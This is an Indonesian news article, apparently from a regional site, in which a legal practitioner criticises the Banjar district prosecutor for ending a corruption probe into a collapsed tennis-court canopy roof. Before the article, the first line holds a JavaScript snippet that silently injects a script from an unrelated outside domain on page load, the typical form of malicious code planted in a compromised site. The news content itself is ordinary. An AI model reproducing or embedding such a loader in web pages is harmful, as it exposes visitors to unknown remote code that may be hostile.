(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Hentikan Kasus Atap Konopi, Praktisi Hukum Nilai Kejari Banjar Lampaui Wewenang


MARTAPURA, Langkah Kejaksaan Negeri (Kejari) Banjar menghentikan penyidikan kasus ambruknya atap kanopi lapangan tenis Kayu Tangi, Jl Albasia, Kelurahan Keraton, Kecamatan Martapura Kota, Senin (15/1), menuai reaksi praktisi hukum Syamsul Hidayat.

Menurut Syamsul, proyek pemerintah yang menggunakan uang negara tersebut dikontrol dan merupakan temuan masyarakat. Masyarakat dapat menemukan dan mengotrol proyek tersebut mengacu pada undang-undang tentang jasa kontruksi. Sementara adapun yang berugas menyelidiki proyek tersebut meliputi penegak hukum, penyidik, PPNS, maupun tipikor.

“Saya ini orang praktisi, yang saya lihat proyek pemerintah yang menggunakan uang negara tersebut ambruk sebelum waktu 10 tahun. Maka itu diduga adalah kesalahan yang patut untuk diselidiki, mengacu UU NO 2 Tahun 2017 Tentang Jasa Kontruksi pasal 60 bahwa kegagalan kontruksi wajib hukumnya diganti oleh penyelenggara. Jadi sejak jeda penyerahannya itu dari hari pertama hingga 10 tahun kedepan bangunan itu, masih merupakan tanggung jawab penyelenggara tersebut,” jelas Syamsul.

Ia mengatakan, apabila akibat ambruknya bangunan tersebut dikaitkan dengan force majeure, atau kerusakan yang disebabkan oleh alam di luar kemampuan manusia, tentunya kontraktor dituntut sudah paham dan dapat mendesain bangunan tersebut tahan terhadap terpaan angin. Mengingat diketahui wilayah Kabupaten Banjar memang rawan terhadap angin puting beliung. Pertanyaannya adalah seperti apa perjanjian kerjanya itu harus transparan.

“Saya mengoreksi proyek negara yang didahului oleh Rencana Anggaran Belanja (RAB) disertai dengan kontrak itu, karena merupakan hukum acaranya sebuah pekerjaan. Saya mohon ditindak lanjuti dangan kontrak kerja RABnya itu bagai mana bunyinya seperti apa, itu harus transfaran dan disampaikan kepada masyarakat,karena ini menyangkut uang negara,” ujar Syamsul.

Syamsul Hidayat, praktisi hukum. Foto : rendy

Dirinya menilai, Kajari melampaui kewenangannya dalam mengambil keputusan yang menyatakan bahwa berdasarkan pengujian tim ahli, ambruknya atap lantaran kerusakan bencana alam. Padahal menurut Samsul, sangat jelas diurai proses hukum diawal dari pemeriksaan rencana anggaran biaya dan kontrak kerja. Maka dari itu sangat aneh kalau Kajari Banjar malah mengacu ke rekomendasi tim ahli dari Dinas PUPR, bukan dari penyidik kejaksaan.

Sebelumnya, Kejari Banjar yang dikabarkan melakukan penyelidikan terhadap proyek pembangunan atap membran lapangan tenis senilai Rp 2,3 milliar tersebut, mengatakan adanya dugaan tindak pidana korupsi dalam pembangunannya. Namun setahun bergulir, Kejari menghentikan penyelidikan. Ini setelah keluarnya surat keterangan atau rekomendasi dari Tenaga Ahli Kementerian PUPR RI, yang menyatakan proyek pembangunan atap membran lapangan tenis gagal fungsi, dan tidak mampu menahan tekanan angin di atas kemampuan.

“Kondisnya roboh karena ada angin di atas rata-rata. Tim dari Kejaksaan sudah koordinasi dengan PU, prinsipnya PU sudah minta audit dari Kementrian PUPR dan hasilnya sudah turun. Bangunan di lapangan tenis pada saat roboh tidak mampu menahan beban di atas rata-rata. Dianalisa ada angin puting beliung, dan lapangan itu sudah satu tahun digunakan. Kita pakai itu. Kita simpulkan pembangunan lapangan tidak ada dugaan penyimpangan,” terang Kajari Banjar Muji Martopo beberapa waktu lalu.

Terkait kondisi di lapangan, secara terpisah Ketua Persatuan Lawn Tennis Indonesia (Pelti) Banjar sekaligus Wakil Bupati Saidi Mansyur, akan berkoordinasi dengan instansi terkait untuk melakukan perbaikan lapangan.

“Itu akan membahayakan. Mungkin nanti kita akan koordinasikan dengan dinas terkait yang membidangi, karena ini bangunan dari tahun 2015 agar dibersihkan supaya tidak terjadi hal – hal yang tidak diinginkan bagi pemain tenis yang akan latihan maupun yang akan melakukan turnamen,”ujar Saidi Mansyur. (rendy)

Reporter : Rendy
Editor : Chell

Desy Arfianty

Recent Posts

Amuntai Expo dan Bazar Ekonomi Kreatif 2024

KANALKALIMANTAN.COM, AMUNTAI - Memeriahkan Hari Jadi ke-72 Kabupaten Hulu Sungai Utara (HSU) digelar Amuntai Expo… Read More

16 menit ago

Warga Muhammadiyah Banjarbaru Berhalalbihalal di Masjid At Taqwa

KANALKALIMANTAN.COM, BANJARBARU - Pimpinan Cabang Muhammadiyah Banjarbaru Utara menggelar halalbihalal sekaligus Hari Bermuhammadiyah kali pertama… Read More

3 jam ago

5 Mei Hari Bidan Sedunia

KANALKALIMANTAN.COM – Negara-negara di dunia merayakan Hari Bidan Sedunia yang jatuh pada 5 Mei setiap… Read More

9 jam ago

Syamsudin Noor Jadi Bandara Domestik, Begini Respon Wali Kota Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Pencopotan status internasional pada Bandara Syamsudin Noor Banjarmasin yang terletak di Kota… Read More

9 jam ago

Presiden Jokowi di Booth PLN PEVS 2024, Dirut PLN Paparkan Kesiapan Ekosistem Kendaraan Listrik

KANALKALIMANTAN.COM, JAKARTA - Presiden Republik Indonesia Joko Widodo (Jokowi) mengunjungi booth PT PLN (Persero) dalam… Read More

12 jam ago

Akhir Pekan Pasti Hemat, Berikut Promo BRI hingga 30 Persen di 8 Kota Indonesia

KANALKALIMANTAN.COM – Bagi sebagian orang, akhir pekan (weekend) merupakan waktu yang dinanti. Sembari rehat bekerja,… Read More

15 jam ago

This website uses cookies.